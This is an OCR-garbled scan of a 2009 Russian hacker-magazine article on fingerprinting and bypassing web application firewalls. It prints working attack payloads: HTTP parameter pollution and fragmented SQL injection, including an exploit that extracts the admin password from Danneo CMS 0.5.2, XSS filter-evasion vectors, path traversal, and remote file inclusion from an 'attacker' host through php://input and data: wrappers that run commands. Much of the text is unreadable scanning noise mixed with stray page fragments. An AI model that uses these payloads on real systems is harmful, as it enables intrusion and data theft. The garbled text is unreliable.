canTamu ciy4an

Hbl. Hu pepakuus,
HV aBTOP HE HECYT
OTBETCTBEHHOCTM 33
N0B60N BO3MOXHbI A
Bpe[, NPUYMHEHHbIA
MaTepuanamu 3Ton
CTatbK.

» 055
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ﬁ
noJsb30BaTenb

Bed-cepBep

1 MHTEpHET

—

aTaKylowmi

cepsep 6a3bl [LaHHbIX

rgpﬂ nue "
CTEHbI 3aLLUTB

Manpeon ans Be6-npunoeHni: cnocobbl 06HapymeHus 1 06xoAa

KOrJA Mbl TOBOPUM «®AWPBOJ1», TO B BOJIbLUMHCTBE CBOEM NOAPA3YMEBAEM UHCTPY-
MEHT A1 ®UJIbTPALIMUM CETEBOT0 TPAGUKA. TPUKPBITH OPTBI, NOPE3ATH TPA®UK N0 HE-
HYHOMY NPOTOKOJTY, OFPAHMYUTb AOCTYN KOHKPETHBIX NPUJIOXEHWN B CETb, BY/Lb TE HA
CEPBEPE W1 O6bIY4HON JOMALLIHEM MALIMHE, — BCE 3T0 3ANPOCTO PEAIM3YETCS OBbIYHBIM
BPAHZIMAY3POM. HO 3HAJUJIU Thl, YTO AWPBOJI CYLLECTBYET ELLE W AN1A BEG-NPUOEHHH
W CNOCOBEH OBECNEYMBATb IONONHUTEbHbIA CNIOM 3ALUKTBI?

NMPAKTHYECKH B JIIOBOM HanpWMep, MPYBECTH K yTeuke Baskl C KOH(U- NPOBepKa, Aaxe eci oHa He NpegycMoTpeHa
BEB-NPUJIOEHUN ECTh CEPbE3HbIE feHumansHoi Hdoi. Ho Beds nporpaMMucT B CAMOM CKPUMTE NpUNoXeHus, obszatensHo
bATH. za [OK33aTeNbCTBOM 0aNeKko X04uTh TOXE NIOAN: KaX Akl MOXET caenars owmnbry. byneT ocyuiecTrRnsTecs WAF

HE HYXKHO: JOCTaTOMHO MPOYMTaTL CBEXMI 3actaBuTs Beex paspabotunkoe nucatk abco- Mony4aeTtes, 4to Web Application Firewall — 310
Bar-Tpak. AHaNM3MpyA Kog v UCNOoAL3YA JHOTHO B230NaCHbIA KO, HEBO3MEKHO (X0Ts 1 CrieUpanbHEIR MEXaHM3M, HEKIZOBIBAIC LA
CKEHUPOBEHWS TUNa YepHOro ALULMKa, Karaa CYLUECTBYIOT CreLnansHble CTaHBapTsl Bpoae ONpeeNneHHbIR Habop Npaeun Ha To, KaK B33KMo-
pa3nuyHele NapaMeTpel, Nnepejasaemsie seb- Microsoft'oBekaro Security Development [eAcTByIoT Meskay coboit cepeep v kKnweHT, obpa-
npunokeHnsam, bazzatca ocoboim obpasom, Lifecycle]. Ha! MoxHo nonpoboeate BeinonunTe  bateiBas HTTP-nakeTsl. B ocroge kpoeTcs ToT e
XaKepbl HEPEKO HaxoAaT awunbkn naxe B 33 Hux paboTy Hap owwmbkamy, BHOCH B cxemy MPMHLWNM, YTO 1 B 0BLI4HBIX NONL30BATENBCKAX
o4eHb CEPBE3HBIX MpoekTax. B utore, otcyT- B32VMOAEUCTENA MEXAY NoNb30BaTeNeM 1 daiipBonax, — KOHTPO/b BCEX [JaHHbIX, KOTOpEIE
CTBMe MPeBEpKW NepefasaeMoro napameTpa Beb-MpunoxeHem LONCNHATENEHOE 3BEHD — rnocrynatoT useHe. WAF onupaeTcs Ha Habop npa-
B OHOM €QMHCTBEHHOM MECTe KOL43 MOXET, Web Application Firewall [WAF). B atom cayuae EWJT, C MOMOLLBIG KOTOPOro BLIABAASTCH GakT aTaku

» 056 XAKEP 10 /130/ 09




M0 CUTHATYPaM — NPU3HAKAM 8KTUBHOCTW MOJib-
30BaTeNs, KOTOPLIe MOMYT 03HaYaTh HanafeHue.
06biuno Web Application Firewall npumenaiTca
1151 33LLWThI CAWTOB, KOTOPLIE SIBNAIOTCH 0B~
eKTamu 0coBo NPUCTANEHOTO BHUMAHWMS! XaKepos,
— KpynHLIe koMnaxwu, BaHkK, oHNaiH-MarasvHbl,
colmansHele cet u ap. Ho, Hecmotps Ha 310, WAF
MOXKET BbITh MCNONh30BaH NH00LIM XEeNaIoLLMM.
[NpeanaraeTca HeManoe KONNYeCcTBO PeLLEHMA,
PaCcnpocTPaHSRIoLLMXCA N0 NNLEH3MK 0pen source.

KAKUE BbIBAKOT WAF?

Camo nokatve «Web Application Firewall»
nocTtatouHo wupoxkoe. WAF moxeT BeiTh peann-
30BaH 8 ABYX GOPM-PaKTOpax: aNNapaTHoM uim
MporpaMMHoM — BosibLUYI0 HacTb, pasyMeeTcs,
npeacTasnsioT nocienHme. Takke WAF mMoxHo
pasaennTs W No NPUHUMNY AeRCTBUA. YCNOBHO
BBILENHKT TPW TUNa:

1. PeanuzosarHele B Buae obpaTtHoro npokcu-
cepeepa;

2. Pafiotaclume B pexUMe MapLwpyThaauni/
MOCTS;

3. ¥xe BcTpoeHHsle B BEB-NpUNoXeHus.

K nepskiM MOXKHO OTHECTU Takue peanusauuu,
kak mod_security [madsecurity.org), Barracuda
(barracudanetwork n], nevisProxy
[adnevum.ch). Pabota storo Tuna WAF crpo-
UTCH N0 CXeMe nepeoHadvancHoi obpabotkn
[@HHbIX NPOKCU-CEPBEPOM, KOTOPLIA MOXET
BNOKMPEBaTh WK NePEHANpPaBNTL 3anNpoc K
eeb-cepeepy 6e3 M3MEHeHUA WNK C YaCTUUHOM
NPaBxoi AaHHbIX.

Ko BTopoii KaTeropvi 0THOCAT B OCHOB-

HoM annapaTHele WAF, Hanpumep, Impreva

SecureSphere (impervaguard.com). Takne

pelleHus TpebyrT 0oMoNHUTENbHO HAaCTPOIKK
EHY \'pEHHelZ CeTK, HO 3aT0 B KOHe4YHOM hTore
BapMaHT BLIMIPEIBAET B NPOM3BOAMTENBHOCTH.
W, HakoHew, TReTUI TWN NoapasyMeBaeT Hanu-
yue B EGE"V‘IDV]HO)KEHHM AONONHUTENBLHOIO
GyHKUWOHaNa, peanuayouiero yenu WAF.
ApKUM NpUMEPOM CRYKUT BCTpoerHbIin WAF B
CMS Butpuke [wvaw. 1c-bit
ke AewcTsuMs npasun pasnuyawnt WAF, pabo-

<ru). Mo cneundm-

raowme no npuHumny blacklist (nponssoamnTes
COMOCTABNEHME CO CMIMCKOM HEAOMYCTUMbIX
yenoewit) W whitelist (npyHuMaloTea Toneko pas-
pelleHHble fercTBns), @ Takxe CMeLaHHbIi
TN, HanpuMep, cpenu cUrHaTyp gns YepHoro
cnwvcka MoryT BeiTe cTpakm: «UNION SELECT»,
«escript>», «fetc/passwd»; bensiil cnucok
MOXKET GNPEefenaTh AUana3oH 3HaUYEHWA AN
uncnosoro napamerpa lor 0 o 65535).
MpasunsHeii WAF He nponseognT uasTpaunio
BXOAALMX OaHHBIX, Tak KaK Mo bonbluen yactu
3T0 He BXOAWT B €rc KOMMeTeHLWIo, OAHaKo
cywecrtayer Tun WAF, korga emMecto npocToro
GnokvposaHnus Gaipeon NPoOV3BOANUT KOppek-
TMPOBKY, 0c0bbiM 0Bpa3zom obpabaTbisan naH-
Hble. B pesynstate 370 genaeT ux becnonesHni-
MU L1151 aTaKyoLLero.

OBHAPY>XEHUE WAF

YeTaHoBKa M HAcTpoiKa Kaxaoro U3 pelieHuia
— Tema A9 OTAeNbHON CTaTkyl, HO HaM ceryvac
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ropasno WHTepecHee nocmoTpeTk Ha WAF ¢
nozuumm xakepa. Kak nextectep moxeT 0bHa-
pykwTb Ha cepsBepe WAF 1, uTo ewe BaxHee,
0bOATI Te NPOBEPKK, KOTOPLIE OH HaKNajbiga-
et? Monpobyewm pazobpaTbes.

Kaxabh w2 daipsonos, kak Npasuio, nMeet
CBOW OTANYMTENbHBIE ocoBerHocTv (oHu MoryT
BbITh BLIABNEHE C NOMOLLLI METOAA Pacno3Ha-
BaHWA «oTrevaTkos» — fingerprint], snocnen-
CTBUW NO3BONFIOWME ONPEAENNTE, KaKOWN MMEH-
Ho WAF NpucyTCTBYET Ha TOM MW WHOM CainTe.
Cpean nopobrbix ocoberHocTer MoryT BoiTe:

® Ha3Ha4YeHue CNeLnanbHblx NapameTpos
Cookie B HTTP-otBeTE;

* MECKMPOBKa CEPBEPA C MOMOLLLI0 M3MEHEHNA
HTTP-3aronoskos, 8 YacTHocTH, Server;

* DasNKUHbIe KOsl OTBETS NPK Nepefaye 0co-
Dbix DaHHbIX;

® He3aMenMTeNLHOE 3aBEpLIEHVE CORANHEHNA
npw cpabatsiBaHni HeLOoNYCTUMOT0 YCIoBUS;

® BCTpoeHHLIA Habop Bazoesix Npasun, Noj-
NA0WMIACA PACKDPLITHID.

HanpumMep, npu nonsiTke NpoBeaeHmns npo-
cTeix atak mod_security obHapysxvsaeTcs

no kony owwnbku 5071; WebKnight — no kogy
999; Barracuda no cookie-napamertpy barra_
counter_session.

HecoMHeHHOD, py4HOE pacno3HaBaHue Tuna
WAF tpebyeT MHoro epemeHn v BonbLoro
onbita. HeobxoAMMOCTs B UHCTPYMEHTE, KOTO-
peii Mor Bbl aBTOMaTU3WPOBaTL MpoLecc,
NPUBENE K CO3RAHMIO TakKx peLleHnid. Cpeam
HWUX MOMHO 0TMETUTL Nnarud WAF_fingerprint
ana ¢penmeopka wiaf u ytrnuty wafw00f. 3T
WHCTRYMEHTHI A0xHb! BbiTh B apceHane y kax-
[I0r0 NeHTeCTepa.

0bX0[ WAF

Huuero naeanbHoro He cywecTsyeT. 370 CyXK-
AeHWe Takxe cnpaeeanvec 1 ans WAF. Mpexpe
BCEro, CToMKOCTs haripeona obycnasnueaeTcs
£r0 3PXMTEKTYPOHA M UCMONL3YeMON MOASNLD
npaewn. MonoxutensHas Mogent scerpa bynet
WMETh MPEVMYLLECTEC NEepes OTPMLUATeIbHOM,
TaK Kak nepeas M3HauaNbHo onpefenser
MeHbLUEEe KOMWYECTBO AONYCTUMbIX 3HAYEHWA.
C apyrov cToporbl, pa3paboTka npasun ana
whitelist kyna Bonee TpygoeMkoe 3aHATHE,

WAFWooF BAEACTBUU
raz@r@ubuntu:” wafubBBf$ python

Z72rRs 0 N
|1 VUV 720 77 _/
I_n_,'7_n_rs_rs

Bellb A4 Beb-npunoxeHniai HeobxoLuMo YeTKo
YCTaHOBUTL PpaMKK BCeX LONYCTUMBIX IHaYEHWI
N9 Kakaoro sxoasatlero napametpa. K cnosy,
ana mod_security ecTb cneluansHbiil MHCTRY-
MEHT NoJd, Ha3BaHWem Remo, I'\OEIBOJ'IHK]IJ_I,MI]
uepes rpapuyecknii nHTepderc cosnasats
HOBbIE MpaBuia 414 Benoro cnucka.

Ewle Bonbluei npobnemMoll SBNSIATCH CaMM
npaevna. Bengopsl WAF nopoi He yenesaiot

11X 0DHOBASATL WM NONPOCTY HE B KYPCE HOBbIX
BeaHuil B chepe Beb-bezanacHocT, He rosops
yxe o HecnocobrocT Basogore Habopa npasu))
Ka4eCcTBEHHO pacno3Haeatb 00BIYHLIE ATaKK.
Mpumepom oBxona NpaBun KoHKpeTHaro danp-
BOMa MOXET CNYKWTL yA3BKMOCTs B Profense
Web Application Firewall, nozeonacwan npo-
BoAnTE XSS ¢ NOMOLWBI0 CNeJyoWMx BEKTOPOB:
mple.com

\i { LY 11

B nepsom cnyyae (cve.mitre.ora/cqi-|
1573 npoua-

iIme.cgifname VE-ZI

soauTca obxog Npasun, cozganHbLlx No oTpy-
uartensHoi Mogenn: WAF He pacnosHaeT XS5~
dTaky, TaK Kak B SBKprBa}OLUM;! Ter BCTaBneHa
CTpOKa, oTAeNeHHas npoﬁeﬂow B TO & BpeMA
Gpaysep BLHINOJHUT 3N0HaMepeHHbli JS-kog,
HECMOTPS Ha HEBEPHbIA GopmaT.
Bo sropoM ripumepe [cve mitre.crg/cai-bing

N ;\.‘ . f .“_}.:‘”"". I]XSS
Takxe MpoxoauT NpoBepky, HO yxke no benomy
CMUCKY, nbo npasuna Nponyckalor sce LaHHblE,
obpabaThiBas VX perynspHLIM BbipaxeH1ueM B
MHOFOCTPOYHOM PEXWUME, eCN XoTH Bel ofHa
CTpOKa COOTEeTCTBYEeT HONYCTAMbBIM YCTOBUAM,
K coxanesuo, paccMoTpeTs YR3BUMOCTH BCEX
WAF 8 pamkax ofHO# cTaTek HeBo3MoxHO. Ho
CYLLLECTBYIOT YHUBEpCanbHble crnocobel U TexHM-
k1 0bxopaa, KoTopkie MoryT BeiTe MPUMEHUMBI B
ycnosusx noboro WAF.

HTTP PARAMETER
POLLUTION

Tepmun HPP noseunca bnarogapd ogHoMMEH-
HOW paboTe WTaNBAHCKUX CNeuwranicTos

wafwdBf.py http://microsoft.com/
~ ~

L AAErR NN /
I U zr B 7208 78
Eonl st N N

WAFWBBF - Web Application Firewall Detection Tool

By Sandro Gauci && Wendel G. Henrigque

Checking http:/smicrosoft.coms
The site http://microsoft.con/
Number of requests: 8

is behind a Beelare
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CTanpapTHbiil TEX.ONPOT

I fisal 1 ron. 100 %

) inpotms ! 0 ren. 1 0%
fl xak Bce ! 0 ron. 0%

_) Mne Bcé pasHo! 0 ron. L] 0%

Nporonocosars

Nocneptiue xommenTapum - 1
Crpanuy :

antichat 15.09.09 01:15 8o

202cb962acS90750864b07152 d224b70

MD5-X3L NAPOJIA ADMUHUCTPATOPA

Jlyku Kappetonu (Luca Carettoni] u Credaro au MNaon
(Stefano di Paola). Mpunuun HPP 3aknoyaeTcs B Bo3-
MOXHOCTW NepeonpenefnTs i gobasnts Hoeele HTTP-
napametpbl [POST, GET) ¢ noMowibio BHeApEHMS CUMBONOE,
MX pa3rpaHuyMBaiolmMx, B cTpoky 3anpoca [query string.
. «CMewwnsan» napaMmeTpsl, CTAHOBUTCH BO3MOXHsIM 00x0f
b info npaesun WAF.
ABcTpuiickad komanaa  CambiM SpkMM NpuMepoM sBaseTcs ya3euMocTs & [1S+mod

hacklnb3rg npo- security, no3Bonsiowas Npoeoguts SOL-uHbekummK, HecMo-
BeNa 10CTaTouHo Tps Ha WAF. bar ocHosaH Ha aByx ocobeHHoCTSAX:
WHTEPEeCcHOE Uccre- 1.1IS ckneneaet 3anaToi 3HaveHus scex HTTP-napamMeTtpos,
NOBaHWe No oleHke MMEeLWMX oAMHakoeoe uMa. Hanpumep:

BO3MOXKHOCTEN 3aLKnThl

TeKYLLEera rnokone- POST /index.aspx?a=1&a=2 HTTP/1.0

Hust Web Application Host: localhost

Firewall. lNogpobHubiii Cockie: a=5;a=6

MaTepwran c MeTogun- Content-type: text/plain

KaMW U pesynbraTamm Content-Length: 7

TECTUROBEHWA Th Connection: close

CMOKELLs HAUTK Ha a=3&ka=4

ffinal_projec Mpw Takom 3anpoce Ha [IS/ASP.NET sHaueHne napameTpa a

locumentatior (Request.Params["a"]) 6yner pasHo 1,2,3,4,5,6.

vl 1.pdf. 2. mod_security aHanuaupyeT 3anpoc Nocae Toro, Kak
oH bbin 0bpaboTtaH Beb-cepBpoM, — TO eCTL NpoBEpKE
NoABEepraeTcs KaxAblil NapaMeTp HE33aBUCUMO JPYT OT
Apyra.
[Monsitka TpuBuansHoi SAL-MHbEKUMKM, KK MoKa3aHo Huxe,
Boina bbl oTBeprHyTa mod_security: http://localhost/
index.aspx?id=-1+UNION+SELECT+rusername ,passw
ord+FROM+users.
OgHako HPP noasonseT oboitti nofobroe orpaHuyeHve
3anpocomM:

POST /index.aspx?a=-1%20union/*&a=*/select/*
HTTE /L0

Host: localhost

Cookie: a=*/from/*;a=*/users
Content?Length: 21

a=* /name&a=password/*

IIS npou3sBegeT koHKaTeHauwio napamerpa a, mod_security
He abHapyxunT Hukakyx curHatyp. B koHeuHoM cuete k baze
JIZHHBIX NOCTYNWT KOPPEKTHBIA 3anpoc:

SELECT b,c FROM t WHE =N A TN CI A
SELECT/* ,* fusername,password/*, * /FROM/* , */

users

» 058

OPATMEHTUPOBAHHBIE
SQL-UHBEKLIUU

370t Bug SAL-1HbEKUWIA xapakTepM3yeTCs Hann4yueM B
3anpoce, M0 KpauHein Mepe, ABYX 3HAYEHWMIA, KOTOPLIE MOXET
KOHTRONMPOBATL aTaKYOLWNA:

mysqgl_cquery ("SELECT c,d FROM t WHERE a d
S_GET["a"] . ™ AND b=" . $ GET["b"1);:

[MTomHa, 4to WAF He nponyctut SQLi-gekTop B 0aHOM napa-
METPE, Mbl MOXEM BOCMNONb30BATLCH CPasy AByMa, 4Tobsl
oboiTu npoBepky:

/?a=-1+UNION/*&b=*/SELECT 1,version()
Koneureiin SAL-3anpoc npuMeT Bua:

SELECT ¢,d FROM t WHERE a=-1 UNION/* AND
b=*/SELECT 1,version(}

Boiwe npuBegeH npuMep naeanbHoro BapuaHta dparMeH-
TnposarHon SAL-uHwekynu. B peansHbix seb-rnpunoxerunx
BCE HECKONLKD CNoxHee. Bo-nepekix, 0BbIUHO aTakyioL i
MOXET KOHTPONWPOBaTh HECKONIBKO Y4YacTKOB 3anpoca B
INSERT wnwn UPDATE, no He 8 SELECT. Bo-BTophix, Bxoas-
wwe panHsie obpabatsisalotcs dyrkuueit addslashesl), n s
3anpoce oHuv obpaMneHbl kKaskiukamu, 1, HAKOHEL, NaHHKIE
MOTYT NDOXOAUTL Kakie-nnbo QononHUTENbHbIE MPOBEPKY
BcTpoeHHsiM WAF. OgHako, HecMoTpsl Ha 370, oLWKWBKK B pea-
NM3auUnK MOTYT MPUBECTI K BbINOAHEHWIO NPOW3BOIBHOIO
SQL-kopa. TTprMEpOM MOXET NOCNYXKWTE YA3BMMOCTE, KOTO-
pylo a1 Hawen 8 Danneo CMS 0.5.2. OgHoi 13 ocobeHHocTeH
atoi CMS siBnseTca Hanuuune B Hew dyHKLMOHaNa, HanoMmu-
Hatolwero scTpoeHHbin WAR B yactHoCTH, uMeeTcs YepHbli
CMUCOK, 110 KOTCPOMY MPOBEPRIOTCA BCE BXOASALLME Napame-
TPbI; CaMa e MPoBepKa BhIMMAANUT creaylollrm obpasomM:

foreach($_REQUEST as Sparams => S$inputdata)

{

foreach(sbhaddata as S$badkey => Shadvalue)
{ if(is_string(Sinputdata) &&
eregi (Shadvalue, Sinputdata))

{ $badcount=1; }

Kak HecnoxHo 3amMeTnTh, CpaBHEHWE BXOOALINX AaHHbIX
Mo YEPHOMY CNWEKY NPOU3BOANTCH C MNOMOLLBIO YA3BUMON K

XAKEP 10 /130/ 0%



' data:text/html;basebd, PH...

&

| | Hacrpoiika cceinok

C ¥ dataitext/html;base64,PHNjcmiwdD5hbGVydCgxKTwvc2NyaXB0Pg==

-

& Javascript

XSSB GOOGLE CHROME

Hynn-BaiTy dyHkumu eregil], nostomy ang obxona nposep-
KV JOCTATOMHO BCTaBWTL B Hadase napametpa %00. [laxe
npu BknoueHror gupektnee PHP magic_guotes gpc
Hynn-6aiT He BydeT 3KpaHWPOBATLLH, Tak Kak NpUCyTCTeyeT
TakoW Kon:

if(lini_get("register glokals") ||
(Bget_cfg_var('register_globals!') 1) T
Rextract (S_COOKIE, EXTR_SKIP);
@extract (5. POST,EXTR SKIP) ;

@extract (S_GET,EXTR_SKIP) ;

@extract (S_REQUEST, EXTR_SKIP) ;

FEr R
if{get_magic_guotes_gpec()) {
1LElS POST) SLPEST =

BOST) ;

stripslashesall (S_

stri

iF(S_GET) $_GET =

i £ ($_REQUEST) $_REQUI
stripslashesall ($_REQUEST) ;

1f{S_COOKIE) S_COQKIE =
stripslashesall (§_COOKIE) ;

pslashesall ($_GET) ;

3)15:[:!: Ba»>XHO OTMETWTL, YTO BCE OJaHHbIE, I'!UJ'Iy‘-JE‘HHbIE‘
HarnpaMyo 13 cyneprnobanstHbix Maccueos [$_GET,
$_POST, $_COOKIE, $_REQUEST], byayT o4unuieHsl of
IKPAHUPYIOLLMX CUMBONOR, B TO BPEMS Kak NepeMeHHbie,
paHee BBEAEHHBIE B NIOKaNbHOE HPOC'TDBHC'THO M3 TeX Xe
MaccuBoB dyHKkUNel extractl], ocTanyTes kak ecTe. Yxe
Ha 3TOM 3Tane BMoHa HeCcornacoBaHHOCTL Koaa. Cama e
SOL-vHBEKUMA HaXo[MTCH B MOAYNE FOI0COBaHUIA NpK
nobasneHyy KoOMMeHTapres:

Scomtext=($setting[ 'peditor']=="yes") ?
commentparse ($comtext)

deltags (commentparse($comtext)) ;
Scomname = (preparse(Susermain(’'logged'],T
HIS INT)==1
| FTETSH INT)SE)w e

tr(de

&& preparse(Susermain('userid’
Susermain[ 'uname' ] subs
ltags (Scomname) ,0,50) ;

Scomtitle=substr(deltags(Scomtitle) ,0,255);

$in=sdb->guery ("INSERT INTO "
.8basepref." polling comment VALUES
(NULIy, o sdg, i, e Susermatn

[ "userid’] . v, """ . NEWTIME. "', ‘*Scomname’,

'Scomtitle', 'Scomtext’, ' " .REMOTE

AEDDRG Mg

YA3BWMOCTE BO3HWKAET NOCAE TOTO, KaK 3HaqdeHne nepe-

XAKEP 10 /130/ 09

MeHHol comtitle obpesaeTca dyHkumen substr() po 255
cumeonoB. Ownbka pa3paboT4MKOB COCTOUT B TOM, 4TO
NaHKbIE CMEpPBa 3KPAHUPYIOTCH W TOJLKO NOTOM NPUBO-
aaTcs K TpebyeMoi anvHe, xaTa 4ekHo beiTe HaobopoT.
370 0aeT BO3MOXKHOCTL MPOBEEHWA GparMeHTUpOBaHHOH
SQL-MHBbEKL UM, HECMOTPR Ha 3KPaHWPOBaHWE BXOAALLMX
[aHHeIX NpW magic_quotes_gpc=on.

Ons npoeefgHWA yenelwHoi ataku Heobxogumsl cnepyio-
Li1e 3HaYEHWR NapaMeTpos:

e comname — a-z 3Ha4exune oT 5 ckmeonos go 10;

* comtitle — 254 cuMBONa + KaBbIYKE;

e comtext — /*%00*/, [SELECT adpwd FROM dn052_admin
LIMIT 1), 1]-- -

MocnefHMM CHMBOIOM B 3HaYeHUK nepeMeHHoi comtitle
byneT 0bpaTHEIA CN3L, KOTOPLIA 3KPAHWUPYET CleayioLyio
33 HUM KaBbIYKY, YTO MO3BONWT BHINONHWTL KO B NEPEMEH-
1ol comtext. B utore, nonyqutca SQL-3anpoc:

TNSERT INTO dn052_peolling comment VALUES
(NULL, Y10 1230287393 Y,
vantichat! , "a[252x]1bN! W/ N0+, (SELECT
adpwd FROM dn052 admin LIMIT 1), 1)--
=R (6 (8l o IS

[pu MPOCMOTRE CTPEHUULI C KOMMEHTARUSMN B NONE TeK-
cTa coobuweHna byaeT otabpaxeH napons agMUHUCTPaTOPa.

CNENbIE SQL-UHBEKLUK

[pu nposepermnn cneneix SAL-nHbekuni rpamoTHelin WAF
— cepbesHoe npenatcTere. OnHaK0 NOAYUNTE MHGOPMa-
Umio M3 Bassl SaHHbIX BCE e BO3MOXHO MpU WCNONb30-
BaHWW anbTERHATUBHLIX UMEH OTIEPATOPaB 1 KOHCTPYKLMIA
cuHTakcuca. Hanpumep, nna MySQL npuMeHnMel Takke
BapWaHThI:

SUBSTRING (pass,1,1) MID(pass FROM 1 FOR 1)

i
|

ASCIT () ORD()
CONV)
SELECT mMID(pass

BENCHMARK ()

mMID(pass,1,1)>57 | -

<> MULL | s

ROT NULL

= |

STRCMPC)

1

B cutyaumax, korga npousBognTca QUILTPaUmMA No Hamm-
4MI0 TOMO MK MHOTO CMMBONA B NapaMeTpe, Takke ecTh
CBOW anbTepHaTUBLl B 3aucumMocTk or RDBS.

b dvd

* Bce MaTtep1alibl Bbl-
CTYNAEHWH, MHCTRY-
MEHTBI, yNOMAHYTbBIE

B CTaTbe, a Takxe
noabopka becnnarHeIx
WAF poctynHsl Ha
nucke.

® [leMoHCTPaLIMUIO Y5i3-
BuvMocTW B Danneo CMS
cMoTpu HaDVD.

W webappse
irg — Web Application
Security Consortium
(WASC).

0Im — pecype,

NOCBALLEHHbIA NCKD-

yutensHo WAF,

° le.google.con
fiil — npoekT

wafw00f.

e w3af.sour

— ppeimeopk w3af.

s www.nelnea.com

) — GUI-

pEeNaKTop npaBul

Remo.

- LEFT(RIGHT(pass,32),1); LEFT(RIGHT(pass,31),1), etc

1,1)&2; SELECT MID(pass,1,1)&4, etc
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XSS

Cross site scripting ABnsercs, Noxanyn, cambim
0BLIKMPHBIM NONEM 0718 HOBsIX MK no obxoay
WAF. 970 0bycnasnueaeTca HeabuldaiHoi
rmbKocThio Az3sika JavaScript v aganTueHOCTEO
bpaysepos k HekoppekTHOMY Gopmaty HTML.
Ha npowepuwei 8 aBrycte KoHGepeHLUum
BlackHat buina npeacrasnena paboTa no npo-
sefernia XSS & yenosusx WAF. B npesenTa-
UMK ynoMsaHyTo Bonblloe KOTMYecTBO TPIOKOB,
No3BONS WX cOMaHyTe GunsTpel. Cpenn Hux:

<object
data="javascript:alert (0)">
<isindex
action=javascript:alert (1)
type=image=

<img src=x:alert (alt)

onerror=eval (src) alt=0>

<X:script

w3 .org/1999/xhtml ">alert {

X:seript>
CaMbIM MHTEPECHbIM BEKTOPOM OKA3asIcs:

(SRS IICE ST O, e
~S1 i s/ st (SS=(5 =L Y55
[ ws B HRBRIO ]

|
[_t-5l%s

] e ) Ml )

Brirnagut yerpawatowe, He npasga nu? Ha
camom gene, koa 3keveanerted alert(1); noa-
pobHelid ero pa3zbop goctyneH sgecs — |
Eule ogHa paborta, keTopylo cToWT oTMe-
TWTh — 370 CTaThs 0 BHefgpeHun JS-koga B
HTTP-zaronoeku refresh v location |

|. Cnepyiowmin sexTop
U3 3TOW CTaTsW MOXET CNYXUTh eLle OOHUM
cnocobom obxona WAF:

/?param=data:t

cmlwdD5hhGVydCgxK Twve

alert(1l), mnpencraene B basebd,

BHOONMHUTCH B Opera, Safari u

Chr‘omc:, ecilM 3HadeHMe IapaMeTpa
nonazer B aTpubyT URL 3aronoexa
refresh:

Refresh 0; URL = data:text/html;b

asebd , PHNJ cmlwdD5hbGVy XKTwvCc2N

yaxB0Py

» 060

Mepe4dncnsaTs Bce BoaMoxHele cnocobel 0bxo-
na WAF nnsa nposegenmns XSS MoxHO oveHb
[ONT0, MO3TAMY NYYLLE MNOAENOCs CChKaMu
Ha CaiiTbl, rAe coBCTBEHHO W poXaaloTca
HOBLIE BEKTOpbI:

« http://ha.ckers.org/xss.html — MHOTMM
3HakomMbii XSS Cheat Sheet; mHoro cTapss,
1o aetop RSnake obewan B ckopom BpemeHu
0DHOBWTE CMMCOK;

* hity ers.org/forumy/list. php?24 —
WNCKIOYNTENbHE HOBbIE BEKTORLI OT MOMb30Ba-
Teneil o4HOro U3 CaMmblX AyHwKx dopyMas no
seb-besonacHocTy;

s hitp: clousmar ‘i._l’ ispol m —

bnor no Teme HE‘CTEIH,D,BPTHI:IX criocoboB Beinon-
Henus JS-kona; xanb, noYtr He obHoBAeTCA.

PATH TRAVERSAL/LFI/RFI
[TouTn BCe BEKTOPb! U3 3TOK KATeropum
aTak cBe3aHbl ¢ Hynn-baltoM, KoTOpLIK
pacnozHatT npakTuyeckn sce WAF. Ho n
3[ECH NOABMUICA HOBLIWM cnocob, No3Bo-
NAWKUA oTbpocKTe pacwmpedune daina
bes mcnonbaosaHug AQ0BMTOrO banta. 310T
meTof Bbin 0BHapyxeH ofHWM W3 NONb30-
BaTenei popyma el g 4 neay4dmnn
pa3BnTue B paboTax MTanbAHCKOW KOMaHabl
USH.

CyTb 3aKJ4aeTca B MHOTOKpaTHOM MOBTO-
PEHUM CUMBONA «/» NoCNe UMern daiina.
PEBJ‘WI38U,VIH dTaKW BO MHOTOM 3aBWCUT OT
nnatdopmMbl, Hanuuusa Suhosin patch u gpy-
rux obcroatenscte. Lonyctum, ecTe yassu-

MblF KOA:
<?php
inelude(*includess® . 5
CET [Hine ], L php ™

2=
WAF He nponyctut %00 B napameTpe inc,
0[lHaKO C HOBbIM CNocoboM BO3MOXKEH MHKIYL,
NpoKZBONEHLIX Garios:

/?inc=../.htpasswd////...4086. ..

s

Bornee nonpobHo 0 Takwx aTakax YuTait B
moem Bnore: raz0r.name/articles/null-byte-
alternative

Yro kacaetca Remote File Include [RFI), To
aTaky CreayillEro BUNG AABHO CTany Nerkon
nobuiyein WAF:

/2inc=http://attacker/s.txt?

10-9a.74-71{4,18)

ARGS1usernane 10 10-92-3A-20(4.18) 15 weny

BU3YANBHOE CO3[JAHUE NPABWIJI
ANAMOD_SECURITY BREMO

C npobremon nerke cnpaBnsioTes cnemyioljme
BO3MOXKHOCTH PHP:
- Doctyn no FTP:

/?inc=~ftp://attacker/s.txt

Mpuuem dyrkuna file_exists|) seprer true.
- NocTyn « HecbpabotanybiM POST-faHHbIM
[tonsko npw allow_url_include=on):

POST /2ine=php://input HITP/1.0
Host: localhost
Content-type: text/plain
Content-Length: 10
CGILJ‘:t’C‘[iOI‘,: close
phpinfol();

- Micnone3sosanue Bpannepa data (allow_url_
include=on):

L
tKCREROVUWZ NAKTs

PDSwaHAgc31zdGV

1c=data: ;basebd,
gPz

Pzd=&c=dir
- A Takxe compress.

z1lib: //, php:/f/Eilter,

ogg:// u
ap .

3AKNTIOYEHUE

Pazaimie Web Application Firewell He crouT Ha mecTe.
BwvecTe ¢ TeM NosemsioTcs BCe HoBble MeTofbl abxopa
PA3NMYHbIX OTFaHUHEHIA, Bynb To NpOCTeHEKWIA GUMsTD
Ha PHP wnw >xe moryamia WAF — npin aetansHom paccmo-
TREHIM 1 YOPHOM aHaNM3E YOEKNZELLLCH, HTO HUHTO He
JnLLEHO crabbix MecT. Koria skerinyanvipoBaHie yassm-
MOCTH, 0BHaPY>KERHGH B KakaM-niBo Beb-npunoxeHii,
CTAHOBWTCA 3aTRYAHKTENILHEIM B By, Ka3anoch Bbl,
HEMpecTynHoA 2aupTs WAF, He cTowT BpocaTs HavaToe
[1en0. HyxHO NALLIL BHUAKHYTE B TOHKOCTH pabatsl cucre-
Mbl, W O3 SEPHbIF MyTh CTAHET O4eBIHbIM 3T

XAKEP 10 /130/ 09



B ENALUMKWE «DOZNP» BOPOHLOB HTTP://0X0D.RU

HTTP Request

PGST fregister.php HTTP/1.1
Hosl: reg.oxample.ora
Contenl-Type: i
